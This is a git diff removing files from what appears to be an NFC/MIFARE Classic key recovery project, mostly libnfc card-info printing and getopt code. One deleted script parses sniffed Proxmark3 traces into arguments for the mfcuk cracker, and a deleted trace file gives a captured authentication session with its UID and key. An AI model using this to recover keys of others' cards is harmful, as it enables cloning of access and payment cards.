{ - printf (" * PICC to PCD, DS=8, bitrate 847 kbits/s supported\n"); - } - if (TA & 1<<0) { - printf (" * PCD to PICC, DR=2, bitrate 212 kbits/s supported\n"); - } - if (TA & 1<<1) { - printf (" * PCD to PICC, DR=4, bitrate 424 kbits/s supported\n"); - } - if (TA & 1<<2) { - printf (" * PCD to PICC, DR=8, bitrate 847 kbits/s supported\n"); - } - if (TA & 1<<3) { - printf (" * ERROR unknown value\n"); - } - } - if (nai.abtAts[0] & 0x20) { // TB(1) present - byte_t TB= nai.abtAts[offset]; - offset++; - printf ("* Frame Waiting Time: %.4g ms\n",256.0*16.0*(1<<((TB & 0xf0) >> 4))/13560.0); - if ((TB & 0x0f) == 0) { - printf ("* No Start-up Frame Guard Time required\n"); - } else { - printf ("* Start-up Frame Guard Time: %.4g ms\n",256.0*16.0*(1<<(TB & 0x0f))/13560.0); - } - } - if (nai.abtAts[0] & 0x40) { // TC(1) present - byte_t TC = nai.abtAts[offset]; - offset++; - if (TC & 0x1) { - printf("* Node ADdress supported\n"); - } else { - printf("* Node ADdress not supported\n"); - } - if (TC & 0x2) { - printf("* Card IDentifier supported\n"); - } else { - printf("* Card IDentifier not supported\n"); - } - } - if (nai.szAtsLen > offset) { - printf ("* Historical bytes Tk: " ); - print_hex (nai.abtAts + offset, (nai.szAtsLen - offset)); - byte_t CIB = nai.abtAts[offset]; - offset++; - if (CIB != 0x00 && CIB != 0x10 && (CIB & 0xf0) != 0x80) { - printf(" * Proprietary format\n"); - if (CIB == 0xc1) { - printf(" * Tag byte: Mifare or virtual cards of various types\n"); - byte_t L = nai.abtAts[offset]; - offset++; - if (L != (nai.szAtsLen - offset)) { - printf(" * Warning: Type Identification Coding length (%i)", L); - printf(" not matching Tk length (%zi)\n", (nai.szAtsLen - offset)); - } - if ((nai.szAtsLen - offset - 2) > 0) { // Omit 2 CRC bytes - byte_t CTC = nai.abtAts[offset]; - offset++; - printf(" * Chip Type: "); - switch (CTC & 0xf0) { - case 0x00: - printf("(Multiple) Virtual Cards\n"); - break; - case 0x10: - printf("Mifare DESFire\n"); - break; - case 0x20: - printf("Mifare Plus\n"); - break; - default: - printf("RFU\n"); - break; - } - printf(" * Memory size: "); - switch (CTC & 0x0f) { - case 0x00: - printf("<1 kbyte\n"); - break; - case 0x01: - printf("1 kbyte\n"); - break; - case 0x02: - printf("2 kbyte\n"); - break; - case 0x03: - printf("4 kbyte\n"); - break; - case 0x04: - printf("8 kbyte\n"); - break; - case 0x0f: - printf("Unspecified\n"); - break; - default: - printf("RFU\n"); - break; - } - } - if ((nai.szAtsLen - offset) > 0) { // Omit 2 CRC bytes - byte_t CVC = nai.abtAts[offset]; - offset++; - printf(" * Chip Status: "); - switch (CVC & 0xf0) { - case 0x00: - printf("Engineering sample\n"); - break; - case 0x20: - printf("Released\n"); - break; - default: - printf("RFU\n"); - break; - } - printf(" * Chip Generation: "); - switch (CVC & 0x0f) { - case 0x00: - printf("Generation 1\n"); - break; - case 0x01: - printf("Generation 2\n"); - break; - case 0x02: - printf("Generation 3\n"); - break; - case 0x0f: - printf("Unspecified\n"); - break; - default: - printf("RFU\n"); - break; - } - } - if ((nai.szAtsLen - offset) > 0) { // Omit 2 CRC bytes - byte_t VCS = nai.abtAts[offset]; - offset++; - printf(" * Specifics (Virtual Card Selection):\n"); - if ((VCS & 0x09) == 0x00) { - printf(" * Only VCSL supported\n"); - } else if ((VCS & 0x09) == 0x01) { - printf(" * VCS, VCSL and SVC supported\n"); - } - if ((VCS & 0x0e) == 0x00) { - printf(" * SL1, SL2(?), SL3 supported\n"); - } else if ((VCS & 0x0e) == 0x02) { - printf(" * SL3 only card\n"); - } else if ((VCS & 0x0f) == 0x0e) { - printf(" * No VCS command supported\n"); - } else if ((VCS & 0x0f) == 0x0f) { - printf(" * Unspecified\n"); - } else { - printf(" * RFU\n"); - } - } - } - } else { - if (CIB == 0x00) { - printf(" * Tk after 0x00 consist of optional consecutive COMPACT-TLV data objects\n"); - printf(" followed by a mandatory status indicator (the last three bytes, not in TLV)\n"); - printf(" See ISO/IEC 7816-4 8.1.1.3 for more info\n"); - } - if (CIB == 0x10) { - printf(" * DIR data reference: %02x\n", nai.abtAts[offset]); - } - if (CIB == 0x80) { - if (nai.szAtsLen == offset) { - printf(" * No COMPACT-TLV objects found, no status found\n"); - } else { - printf(" * Tk after 0x80 consist of optional consecutive COMPACT-TLV data objects;\n"); - printf(" the last data object may carry a status indicator of one, two or three bytes.\n"); - printf(" See ISO/IEC 7816-4 8.1.1.3 for more info\n"); - } - } - } - } - } - if (verbose) { - printf("Fingerprinting based on ATQA & SAK values:\n"); - uint32_t atqasak = 0; - atqasak += (((uint32_t)nai.abtAtqa[0] & 0xff)<<16); - atqasak += (((uint32_t)nai.abtAtqa[1] & 0xff)<<8); - atqasak += ((uint32_t)nai.btSak & 0xff); - bool found_possible_match = false; - switch (atqasak) { - case 0x000218: - printf("* Mifare Classic 4K\n"); - found_possible_match = true; - break; - case 0x000408: - printf("* Mifare Classic 1K\n"); - printf("* Mifare Plus (4-byte UID) 2K SL1\n"); - found_possible_match = true; - break; - case 0x000409: - printf("* Mifare MINI\n"); - found_possible_match = true; - break; - case 0x000410: - printf("* Mifare Plus (4-byte UID) 2K SL2\n"); - found_possible_match = true; - break; - case 0x000411: - printf("* Mifare Plus (4-byte UID) 4K SL2\n"); - found_possible_match = true; - break; - case 0x000418: - printf("* Mifare Plus (4-byte UID) 4K SL1\n"); - found_possible_match = true; - break; - case 0x000420: - printf("* Mifare Plus (4-byte UID) 2K/4K SL3\n"); - found_possible_match = true; - break; - case 0x004400: - printf("* Mifare Ultralight\n"); - printf("* Mifare UltralightC\n"); - found_possible_match = true; - break; - case 0x004208: - case 0x004408: - printf("* Mifare Plus (7-byte UID) 2K SL1\n"); - found_possible_match = true; - break; - case 0x004218: - case 0x004418: - printf("* Mifare Plus (7-byte UID) 4K SL1\n"); - found_possible_match = true; - break; - case 0x004210: - case 0x004410: - printf("* Mifare Plus (7-byte UID) 2K SL2\n"); - found_possible_match = true; - break; - case 0x004211: - case 0x004411: - printf("* Mifare Plus (7-byte UID) 4K SL2\n"); - found_possible_match = true; - break; - case 0x004220: - case 0x004420: - printf("* Mifare Plus (7-byte UID) 2K/4K SL3\n"); - found_possible_match = true; - break; - case 0x034420: - printf("* Mifare DESFire / Desfire EV1\n"); - found_possible_match = true; - break; - } - - // Other matches not described in - // AN MIFARE Type Identification Procedure - // but seen in the field: - switch (atqasak) { - case 0x000488: - printf("* Mifare Classic 1K Infineon\n"); - found_possible_match = true; - break; - case 0x000298: - printf("* Gemplus MPCOS\n"); - found_possible_match = true; - break; - case 0x030428: - printf("* JCOP31\n"); - found_possible_match = true; - break; - case 0x004820: - printf("* JCOP31 v2.4.1\n"); - printf("* JCOP31 v2.2\n"); - found_possible_match = true; - break; - case 0x000428: - printf("* JCOP31 v2.3.1\n"); - found_possible_match = true; - break; - case 0x000453: - printf("* Fudan FM1208SH01\n"); - found_possible_match = true; - break; - case 0x000820: - printf("* Fudan FM1208\n"); - found_possible_match = true; - break; - case 0x000238: - printf("* MFC 4K emulated by Nokia 6212 Classic\n"); - found_possible_match = true; - break; - case 0x000838: - printf("* MFC 4K emulated by Nokia 6131 NFC\n"); - found_possible_match = true; - break; - } - if ((nai.abtAtqa[0] & 0xf0) == 0) { - switch (nai.abtAtqa[1]) { - case 0x02: - printf("* SmartMX with Mifare 4K emulation\n"); - found_possible_match = true; - break; - case 0x04: - printf("* SmartMX with Mifare 1K emulation\n"); - found_possible_match = true; - break; - case 0x48: - printf("* SmartMX with 7-byte UID\n"); - found_possible_match = true; - break; - } - } - if (! found_possible_match) { - printf("* Unknown card, sorry\n"); - } - } -} - -void -print_nfc_felica_info (const nfc_felica_info_t nfi, bool verbose) -{ - (void) verbose; - printf (" ID (NFCID2): "); - print_hex (nfi.abtId, 8); - printf (" Parameter (PAD): "); - print_hex (nfi.abtPad, 8); - printf (" System Code (SC): "); - print_hex (nfi.abtSysCode, 2); -} - -void -print_nfc_jewel_info (const nfc_jewel_info_t nji, bool verbose) -{ - (void) verbose; - printf (" ATQA (SENS_RES): "); - print_hex (nji.btSensRes, 2); - printf (" 4-LSB JEWELID: "); - print_hex (nji.btId, 4); -} - -#define PI_ISO14443_4_SUPPORTED 0x01 -#define PI_NAD_SUPPORTED 0x01 -#define PI_CID_SUPPORTED 0x02 -void -print_nfc_iso14443b_info (const nfc_iso14443b_info_t nbi, bool verbose) -{ - const int iMaxFrameSizes[] = { 16, 24, 32, 40, 48, 64, 96, 128, 256 }; - printf (" PUPI: "); - print_hex (nbi.abtPupi, 4); - printf (" Application Data: "); - print_hex (nbi.abtApplicationData, 4); - printf (" Protocol Info: "); - print_hex (nbi.abtProtocolInfo, 3); - if (verbose) { - printf ("* Bit Rate Capability:\n"); - if (nbi.abtProtocolInfo[0] == 0) { - printf (" * PICC supports only 106 kbits/s in both directions\n"); - } - if (nbi.abtProtocolInfo[0] & 1<<7) { - printf (" * Same bitrate in both directions mandatory\n"); - } - if (nbi.abtProtocolInfo[0] & 1<<4) { - printf (" * PICC to PCD, 1etu=64/fc, bitrate 212 kbits/s supported\n"); - } - if (nbi.abtProtocolInfo[0] & 1<<5) { - printf (" * PICC to PCD, 1etu=32/fc, bitrate 424 kbits/s supported\n"); - } - if (nbi.abtProtocolInfo[0] & 1<<6) { - printf (" * PICC to PCD, 1etu=16/fc, bitrate 847 kbits/s supported\n"); - } - if (nbi.abtProtocolInfo[0] & 1<<0) { - printf (" * PCD to PICC, 1etu=64/fc, bitrate 212 kbits/s supported\n"); - } - if (nbi.abtProtocolInfo[0] & 1<<1) { - printf (" * PCD to PICC, 1etu=32/fc, bitrate 424 kbits/s supported\n"); - } - if (nbi.abtProtocolInfo[0] & 1<<2) { - printf (" * PCD to PICC, 1etu=16/fc, bitrate 847 kbits/s supported\n"); - } - if (nbi.abtProtocolInfo[0] & 1<<3) { - printf (" * ERROR unknown value\n"); - } - if( (nbi.abtProtocolInfo[1] & 0xf0) <= 0x80 ) { - printf ("* Maximum frame sizes: %d bytes\n", iMaxFrameSizes[((nbi.abtProtocolInfo[1] & 0xf0) >> 4)]); - } - if((nbi.abtProtocolInfo[1] & 0x0f) == PI_ISO14443_4_SUPPORTED) { - printf ("* Protocol types supported: ISO/IEC 14443-4\n"); - } - printf ("* Frame Waiting Time: %.4g ms\n",256.0*16.0*(1<<((nbi.abtProtocolInfo[2] & 0xf0) >> 4))/13560.0); - if((nbi.abtProtocolInfo[2] & (PI_NAD_SUPPORTED|PI_CID_SUPPORTED)) != 0) { - printf ("* Frame options supported: "); - if ((nbi.abtProtocolInfo[2] & PI_NAD_SUPPORTED) != 0) printf ("NAD "); - if ((nbi.abtProtocolInfo[2] & PI_CID_SUPPORTED) != 0) printf ("CID "); - printf("\n"); - } - } -} - -void -print_nfc_iso14443bi_info (const nfc_iso14443bi_info_t nii, bool verbose) -{ - printf (" DIV: "); - print_hex (nii.abtDIV, 4); - if (verbose) { - int version = (nii.btVerLog & 0x1e)>>1; - printf (" Software Version: "); - if (version == 15) { - printf ("Undefined\n"); - } else { - printf ("%i\n", version); - } - - if ((nii.btVerLog & 0x80) && (nii.btConfig & 0x80)){ - printf (" Wait Enable: yes"); - } - } - if ((nii.btVerLog & 0x80) && (nii.btConfig & 0x40)) { - printf (" ATS: "); - print_hex (nii.abtAtr, nii.szAtrLen); - } -} - -void -print_nfc_iso14443b2sr_info (const nfc_iso14443b2sr_info_t nsi, bool verbose) -{ - (void) verbose; - printf (" UID: "); - print_hex (nsi.abtUID, 8); -} - -void -print_nfc_iso14443b2ct_info (const nfc_iso14443b2ct_info_t nci, bool verbose) -{ - (void) verbose; - uint32_t uid; - uid = (nci.abtUID[3] << 24) + (nci.abtUID[2] << 16) + (nci.abtUID[1] << 8) + nci.abtUID[0]; - printf (" UID: "); - print_hex (nci.abtUID, sizeof(nci.abtUID)); - printf (" UID (decimal): %010u\n", uid); - printf (" Product Code: %02X\n", nci.btProdCode); - printf (" Fab Code: %02X\n", nci.btFabCode); -} - -void -print_nfc_dep_info (const nfc_dep_info_t ndi, bool verbose) -{ - (void) verbose; - printf (" NFCID3: "); - print_hex (ndi.abtNFCID3, 10); - printf (" BS: %02x\n", ndi.btBS); - printf (" BR: %02x\n", ndi.btBR); - printf (" TO: %02x\n", ndi.btTO); - printf (" PP: %02x\n", ndi.btPP); - if (ndi.szGB) { - printf ("General Bytes: "); - print_hex (ndi.abtGB, ndi.szGB); - } -} - -const char * -str_nfc_baud_rate (const nfc_baud_rate_t nbr) -{ - switch(nbr) { - case NBR_UNDEFINED: - return "undefined baud rate"; - break; - case NBR_106: - return "106 kbps"; - break; - case NBR_212: - return "212 kbps"; - break; - case NBR_424: - return "424 kbps"; - break; - case NBR_847: - return "847 kbps"; - break; - } - return ""; -} - -void -print_nfc_target (const nfc_target_t nt, bool verbose) -{ - switch(nt.nm.nmt) { - case NMT_ISO14443A: - printf ("ISO/IEC 14443A (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr)); - print_nfc_iso14443a_info (nt.nti.nai, verbose); - break; - case NMT_JEWEL: - printf ("Innovision Jewel (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr)); - print_nfc_jewel_info (nt.nti.nji, verbose); - break; - case NMT_FELICA: - printf ("FeliCa (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr)); - print_nfc_felica_info (nt.nti.nfi, verbose); - break; - case NMT_ISO14443B: - printf ("ISO/IEC 14443-4B (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr)); - print_nfc_iso14443b_info (nt.nti.nbi, verbose); - break; - case NMT_ISO14443BI: - printf ("ISO/IEC 14443-4B' (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr)); - print_nfc_iso14443bi_info (nt.nti.nii, verbose); - break; - case NMT_ISO14443B2SR: - printf ("ISO/IEC 14443-2B ST SRx (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr)); - print_nfc_iso14443b2sr_info (nt.nti.nsi, verbose); - break; - case NMT_ISO14443B2CT: - printf ("ISO/IEC 14443-2B ASK CTx (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr)); - print_nfc_iso14443b2ct_info (nt.nti.nci, verbose); - break; - case NMT_DEP: - printf ("D.E.P. (%s) target:\n", str_nfc_baud_rate(nt.nm.nbr)); - print_nfc_dep_info (nt.nti.ndi, verbose); - break; - } -} - diff --git a/src/nfc-utils.h b/src/nfc-utils.h deleted file mode 100644 index ace6473..0000000 --- a/src/nfc-utils.h +++ /dev/null @@ -1,100 +0,0 @@ -/*- - * Public platform independent Near Field Communication (NFC) library examples - * - * Copyright (C) 2009, Roel Verdult - * Copyright (C) 2010, Romuald Conty, Romain Tartière - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions are met: - * 1) Redistributions of source code must retain the above copyright notice, - * this list of conditions and the following disclaimer. - * 2 )Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" - * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE - * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE - * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE - * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR - * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS - * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN - * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) - * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE - * POSSIBILITY OF SUCH DAMAGE. - * - * Note that this license only applies on the examples, NFC library itself is under LGPL - * - */ - -/** - * @file nfc-utils.h - * @brief Provide some examples shared functions like print, parity calculation, options parsing. - */ - -#ifndef _EXAMPLES_NFC_UTILS_H_ -# define _EXAMPLES_NFC_UTILS_H_ - -# include -# include -# include - -/** - * @macro DBG - * @brief Print a message of standard output only in DEBUG mode - */ -#ifdef DEBUG -# define DBG(...) do { \ - warnx ("DBG %s:%d", __FILE__, __LINE__); \ - warnx (" " __VA_ARGS__ ); \ - } while (0) -#else -# define DBG(...) {} -#endif - -/** - * @macro WARN - * @brief Print a warn message - */ -#ifdef DEBUG -# define WARN(...) do { \ - warnx ("WARNING %s:%d", __FILE__, __LINE__); \ - warnx (" " __VA_ARGS__ ); \ - } while (0) -#else -# define WARN(...) warnx ("WARNING: " __VA_ARGS__ ) -#endif - -/** - * @macro ERR - * @brief Print a error message - */ -#ifdef DEBUG -# define ERR(...) do { \ - warnx ("ERROR %s:%d", __FILE__, __LINE__); \ - warnx (" " __VA_ARGS__ ); \ - } while (0) -#else -# define ERR(...) warnx ("ERROR: " __VA_ARGS__ ) -#endif - -byte_t oddparity (const byte_t bt); -void oddparity_byte_ts (const byte_t * pbtData, const size_t szLen, byte_t * pbtPar); - -void print_hex (const byte_t * pbtData, const size_t szLen); -void print_hex_bits (const byte_t * pbtData, const size_t szBits); -void print_hex_par (const byte_t * pbtData, const size_t szBits, const byte_t * pbtDataPar); - -void print_nfc_iso14443a_info (const nfc_iso14443a_info_t nai, bool verbose); -void print_nfc_iso14443b_info (const nfc_iso14443b_info_t nbi, bool verbose); -void print_nfc_iso14443bi_info (const nfc_iso14443bi_info_t nii, bool verbose); -void print_nfc_iso14443b2sr_info (const nfc_iso14443b2sr_info_t nsi, bool verbose); -void print_nfc_iso14443b2ct_info (const nfc_iso14443b2ct_info_t nci, bool verbose); -void print_nfc_felica_info (const nfc_felica_info_t nfi, bool verbose); -void print_nfc_jewel_info (const nfc_jewel_info_t nji, bool verbose); -void print_nfc_dep_info (const nfc_dep_info_t ndi, bool verbose); - -void print_nfc_target (const nfc_target_t nt, bool verbose); - -#endif diff --git a/src/pm3_mfc_parser.py b/src/pm3_mfc_parser.py deleted file mode 100644 index 5e223e9..0000000 --- a/src/pm3_mfc_parser.py +++ /dev/null @@ -1,84 +0,0 @@ -#!/usr/bin/python - -# Original source: proxmark3.org community forum - -import sys -import os -import string -import commands - -def line_tag(line): - if string.find(line, 'TAG') > 0: - return True - - return False - -def line_rdr(line): - if string.find(line, 'TAG') < 1: - return True - - return False - -def line_bytes(line): - bytes = line[20:len(line)-1] - bytes = bytes.replace('crc', '') - bytes = bytes.replace('!', '') - bytes = bytes.replace(' ', '') - - return len(bytes)/2 - -try: - file= open(sys.argv[1]) -except: - print - print '\tusage:', sys.argv[0], '' - print - sys.exit(True) - -lines = file.readlines() -uid = '' -find_multi_sector = False - -for i in range(len(lines)): - if string.find(lines[i],': 93 20') > 0 and line_tag(lines[i + 1]) and line_bytes(lines[i + 1]) == 5: - find_multi_sector = False - key = '' - - uid = lines[i + 1][20:34] - uid = uid.replace(' ', '') - print 'Found TAG UID:', uid - - if uid and (string.find(lines[i],': 60') > 0 or string.find(lines[i],': 61') > 0) and line_tag(lines[i + 1]) and line_bytes(lines[i + 1]) == 4 and line_rdr(lines[i + 2]) and line_bytes(lines[i + 2]) == 8 and line_tag(lines[i + 3]) and line_bytes(lines[i + 3]) == 4: - tag_challenge = lines[i+1][20:34] - tag_challenge = tag_challenge.replace(' ', '') - tag_challenge = tag_challenge.replace('!', '') - print 'Nt:', tag_challenge - - reader_challenge_response = lines[i+2][20:50] - reader_challenge_response = reader_challenge_response.replace(' ', '') - reader_challenge_response = reader_challenge_response.replace('!', '') - print 'Nt\':', reader_challenge_response - - tag_response = lines[i+3][20:34] - tag_response = tag_response.replace(' ', '') - tag_response = tag_response.replace('!', '') - print 'Nr:', tag_response - - find_multi_sector = True - - # Usually, a multi-sector authentication if a sequence of R->T 4 bytes (encrypted 60 xx p1 p2 or 61 xx p1 p2) and T->R 4 bytes - if find_multi_sector and line_rdr(lines[i]) and line_bytes(lines[i]) == 4 and string.find(lines[i],': 60') < 1 and string.find(lines[i],': 61') < 1 and line_tag(lines[i + 1]) and line_bytes(lines[i + 1]) == 4: - encr_multi_sect_auth = lines[i][20:34] - encr_multi_sect_auth = encr_multi_sect_auth.replace(' ', '') - encr_multi_sect_auth = encr_multi_sect_auth.replace('!', '') - #print 'Multi-sector AUTH (candidates):', encr_multi_sect_auth - - encr_multi_sect_Nt = lines[i + 1][20:34] - encr_multi_sect_Nt = encr_multi_sect_Nt.replace(' ', '') - encr_multi_sect_Nt = encr_multi_sect_Nt.replace('!', '') - #print 'Multi-sector encrypted Nt (candidates):', encr_multi_sect_Nt - - mfcuk_P_params = './mfcuk -P ' + '0x' + uid + ':' + '0x' + tag_challenge + ':' + '0x' + reader_challenge_response[0:8] + ':' + '0x' + reader_challenge_response[8:16] + ':' + '0x' + tag_response + ':' + '0x' + encr_multi_sect_auth - - print 'Executing ', mfcuk_P_params - #os.execv('./mfcuk',string.split(mfcuk_P_params)) diff --git a/src/trace1.txt b/src/trace1.txt deleted file mode 100644 index b5240bf..0000000 --- a/src/trace1.txt +++ /dev/null @@ -1,51 +0,0 @@ - + 561882: 1 : 26 - + 64: 2 : TAG 04 00 - + 10217: 2 : 93 20 - + 64: 5 : TAG 9c 59 9b 32 6c - + 12313: 9 : 93 70 9c 59 9b 32 6c 6b 30 - + 64: 3 : TAG 08 b6 dd - + 923318: 4 : 60 00 f5 7b - + 112: 4 : TAG 82 a4 16 6c - + 6985: 8 : a1 e4! 58 ce! 6e ea! 41 e0! !crc - + 64: 4 : TAG 5c! ad f4 39! - + 811513: 4 : 8e 0e! 5d! b9 !crc - + 112: 4 : TAG 5a! 92 0d! 85! - + 6946: 8 : 98! d7 6b! 77 d6 c6 e8 70 !crc - + 64: 4 : TAG ca 7e! 0b! 63! - + 670868: 4 : 3e! 70 9c! 8a !crc - + 112: 4 : TAG 36! 41 24! 79 - + 9505: 8 : 1b! 8c 3a! 48! 83 5a 4a! 27 !crc - + 64: 4 : TAG 40! 6a! 99! 4b - + 905612: 4 : c9 7c 64! 13! !crc - + 112: 4 : TAG b5! ab! 1d! 2b - + 6936: 8 : 7e! d2 5c! ca! 4b! 50! 88! c4 !crc - + 64: 4 : TAG bf dd 01 be! - + 987853: 4 : 56 98 49 d6! !crc - + 72: 18 : TAG 09 bf! f5! f6! fc! b9! 5e! 51! 07 ac f6 72 f8 73 3b! 1b 73! ad! !crc - + 94864: 4 : 5c! 7b 24! 02 !crc - + 72: 18 : TAG a0 1f! 0b! b7 0d! ba c9 e7! fa! 36! 47 d2 a0! 01! 40! 87 ff 95! !crc - + 94827: 4 : c9 90 dc! a3 !crc - + 72: 18 : TAG df b8! 7a bc! 17! 99 82! 5c 55 d5! 98! 68 8b f8 e7 89 dc 42! !crc - + 99081: 4 : 9f! d5 0f! d8! !crc - + 72: 18 : TAG ca! 40 fa! 34 82 cc 3e de 1f! 7f f7! f0 62! 18! 77! 34 30 07 !crc - + 93995: 4 : ad 7f! 3e 0c! !crc - + 72: 18 : TAG f4! 2b 17! 4c a2! 5a 0c! a0! d8 03! 05 cc cc 4c 1f 12! 0c! 78! !crc - + 94857: 4 : f1! b4 f0 3b! !crc - + 72: 18 : TAG 8f da ca 17! 42 8e 24 c9! 8e fb! 38! aa! 39 e2! dd dd! a8 a6 !crc - + 94850: 4 : c4 03! 7b! 9a !crc - + 72: 18 : TAG 9f! 42! 42 49! cd d1! 3d! fd 8e 8f d3 8d! d5! ca! ef! 15 84 c9! !crc - + 93961: 4 : 33! 3b! ae 0a! !crc - + 72: 18 : TAG 74 ed! 58 46! e7 cc 48 d1! 5a 4b b0! 3a! c1 79! 8a! bf! e7! 42 !crc - + 93193: 4 : f6 ec! 36 91! !crc - + 72: 18 : TAG 79! 63 89! 21! 24 1e 3e! 03! a8! c3! 9b 95! a1 ad! 6c! 34 52 94 !crc - + 94866: 4 : ad! 5c! 47 c5! !crc - + 72: 18 : TAG 68 d4 9d c2! 2b 18 46! f7 e8! 28 ea 03 a4 df d5! 9f 23 00! !crc - + 93994: 4 : 41 4c! 40! 11 !crc - + 72: 18 : TAG b1 95 17! 84! ac fc! 31 b8! 02 40 97! ec! 4c 19 6f e9 f0! 8c! !crc - + 94818: 4 : b8! b5! 5c! 74! !crc - + 72: 18 : TAG c6 03 b9 92! 7d! eb! 13 8a 56 b7 9c 7c 07 3d! 6a 95! 7e! 44 !crc - -# http://www.proxmark.org/forum/post/550/#p550 -# UID = 0x9c599b32 -# KEY = 0xffffffffffff -# 0x9c599b32 0x82a4166c 0xa1e458ce 0x6eea41e0 0x5cadf439 diff --git a/src/xgetopt.c b/src/xgetopt.c deleted file mode 100644 index 5ef7ef8..0000000 --- a/src/xgetopt.c +++ /dev/null @@ -1,223 +0,0 @@ -// XGetopt.cpp Version 1.2 -// -// Author: Hans Dietrich -// hdietrich2@hotmail.com -// -// Description: -// XGetopt.cpp implements getopt(), a function to parse command lines. -// -// History -// Version 1.2 - 2003 May 17 -// - Added Unicode support -// -// Version 1.1 - 2002 March 10 -// - Added example to XGetopt.cpp module header -// -// This software is released into the public domain. -// You are free to use it in any way you like. -// -// This software is provided "as is" with no expressed -// or implied warranty. I accept no liability for any -// damage or loss of business that this software may cause. -// -/////////////////////////////////////////////////////////////////////////////// - - -/////////////////////////////////////////////////////////////////////////////// -// if you are using precompiled headers then include this line: -//#include "stdafx.h" -/////////////////////////////////////////////////////////////////////////////// - - -/////////////////////////////////////////////////////////////////////////////// -// if you are not using precompiled headers then include these lines: -//#include -//#include -//#include -/////////////////////////////////////////////////////////////////////////////// - -#include -#include -#include "xgetopt.h" - - -/////////////////////////////////////////////////////////////////////////////// -// -// X G e t o p t . c p p -// -// -// NAME -// getopt -- parse command line options -// -// SYNOPSIS -// int getopt(int argc, char *argv[], char *optstring) -// -// extern char *optarg; -// extern int optind; -// -// DESCRIPTION -// The getopt() function parses the command line arguments. Its -// arguments argc and argv are the argument count and array as -// passed into the application on program invocation. In the case -// of Visual C++ programs, argc and argv are available via the -// variables __argc and __argv (double underscores), respectively. -// getopt returns the next option letter in argv that matches a -// letter in optstring. (Note: Unicode programs should use -// __targv instead of __argv. Also, all character and string -// literals should be enclosed in _T( ) ). -// -// optstring is a string of recognized option letters; if a letter -// is followed by a colon, the option is expected to have an argument -// that may or may not be separated from it by white space. optarg -// is set to point to the start of the option argument on return from -// getopt. -// -// Option letters may be combined, e.g., "-ab" is equivalent to -// "-a -b". Option letters are case sensitive. -// -// getopt places in the external variable optind the argv index -// of the next argument to be processed. optind is initialized -// to 0 before the first call to getopt. -// -// When all options have been processed (i.e., up to the first -// non-option argument), getopt returns EOF, optarg will point -// to the argument, and optind will be set to the argv index of -// the argument. If there are no non-option arguments, optarg -// will be set to NULL. -// -// The special option "--" may be used to delimit the end of the -// options; EOF will be returned, and "--" (and everything after it) -// will be skipped. -// -// RETURN VALUE -// For option letters contained in the string optstring, getopt -// will return the option letter. getopt returns a question mark (?) -// when it encounters an option letter not included in optstring. -// EOF is returned when processing is finished. -// -// BUGS -// 1) Long options are not supported. -// 2) The GNU double-colon extension is not supported. -// 3) The environment variable POSIXLY_CORRECT is not supported. -// 4) The + syntax is not supported. -// 5) The automatic permutation of arguments is not supported. -// 6) This implementation of getopt() returns EOF if an error is -// encountered, instead of -1 as the latest standard requires. -// -// EXAMPLE -// BOOL CMyApp::ProcessCommandLine(int argc, char *argv[]) -// { -// int c; -// -// while ((c = getopt(argc, argv, _T("aBn:"))) != EOF) -// { -// switch (c) -// { -// case _T('a'): -// TRACE(_T("option a\n")); -// // -// // set some flag here -// // -// break; -// -// case _T('B'): -// TRACE( _T("option B\n")); -// // -// // set some other flag here -// // -// break; -// -// case _T('n'): -// TRACE(_T("option n: value=%d\n"), atoi(optarg)); -// // -// // do something with value here -// // -// break; -// -// case _T('?'): -// TRACE(_T("ERROR: illegal option %s\n"), argv[optind-1]); -// return FALSE; -// break; -// -// default: -// TRACE(_T("WARNING: no handler for option %c\n"), c); -// return FALSE; -// break; -// } -// } -// // -// // check for non-option args here -// // -// return TRUE; -// } -// -/////////////////////////////////////////////////////////////////////////////// - -char *optarg; // global argument pointer -int optind = 0; // global argv index - -int getopt(int argc, char *argv[], char *optstring) -{ - char c = 0; - char *cp = NULL; - - static char *next = NULL; - if (optind == 0) - next = NULL; - - optarg = NULL; - - if (next == NULL || *next == '\0') - { - if (optind == 0) - optind++; - - if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '\0') - { - optarg = NULL; - if (optind < argc) - optarg = argv[optind]; - return EOF; - } - - if (strcmp(argv[optind], "--") == 0) - { - optind++; - optarg = NULL; - if (optind < argc) - optarg = argv[optind]; - return EOF; - } - - next = argv[optind]; - next++; // skip past - - optind++; - } - - c = *next++; - cp = strchr(optstring, c); - - if (cp == NULL || c == ':') - return '?'; - - cp++; - if (*cp == ':') - { - if (*next != '\0') - { - optarg = next; - next = NULL; - } - else if (optind < argc) - { - optarg = argv[optind]; - optind++; - } - else - { - return '?'; - } - } - - return c; -} diff --git a/src/xgetopt.h b/src/xgetopt.h deleted file mode 100644 index adcbade..0000000 --- a/src/xgetopt.h +++ /dev/null @@ -1,23 +0,0 @@ -// XGetopt.h Version 1.2 -// -// Author: Hans Dietrich -// hdietrich2@hotmail.com -// -// This software is released into the public domain. -// You are free to use it in any way you like. -// -// This software is provided "as is" with no expressed -// or implied warranty. I accept no liability for any 